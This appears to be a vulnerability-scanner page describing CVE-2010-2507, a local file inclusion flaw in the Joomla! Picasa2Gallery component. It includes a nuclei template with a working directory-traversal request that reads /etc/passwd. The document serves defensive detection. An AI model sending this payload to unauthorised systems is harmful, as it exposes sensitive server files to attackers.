Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion

mediumseverity

6.8CVSS score

9.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Picasa2Gallery (com_picasa2gallery) component 1.2.8 and earlier for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2507 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2507

info:
  name: Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Picasa2Gallery (com_picasa2gallery) component 1.2.8 and earlier for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/13981
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2507
    - http://packetstormsecurity.org/1006-exploits/joomlapicasa2gallery-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/59669
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2507
    cwe-id: CWE-22
    epss-score: 0.09432
    epss-percentile: 0.95457
    cpe: cpe:2.3:a:masselink:com_picasa2gallery:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: masselink
    product: com_picasa2gallery
  tags: cve2010,cve,edb,packetstorm,joomla,lfi,masselink,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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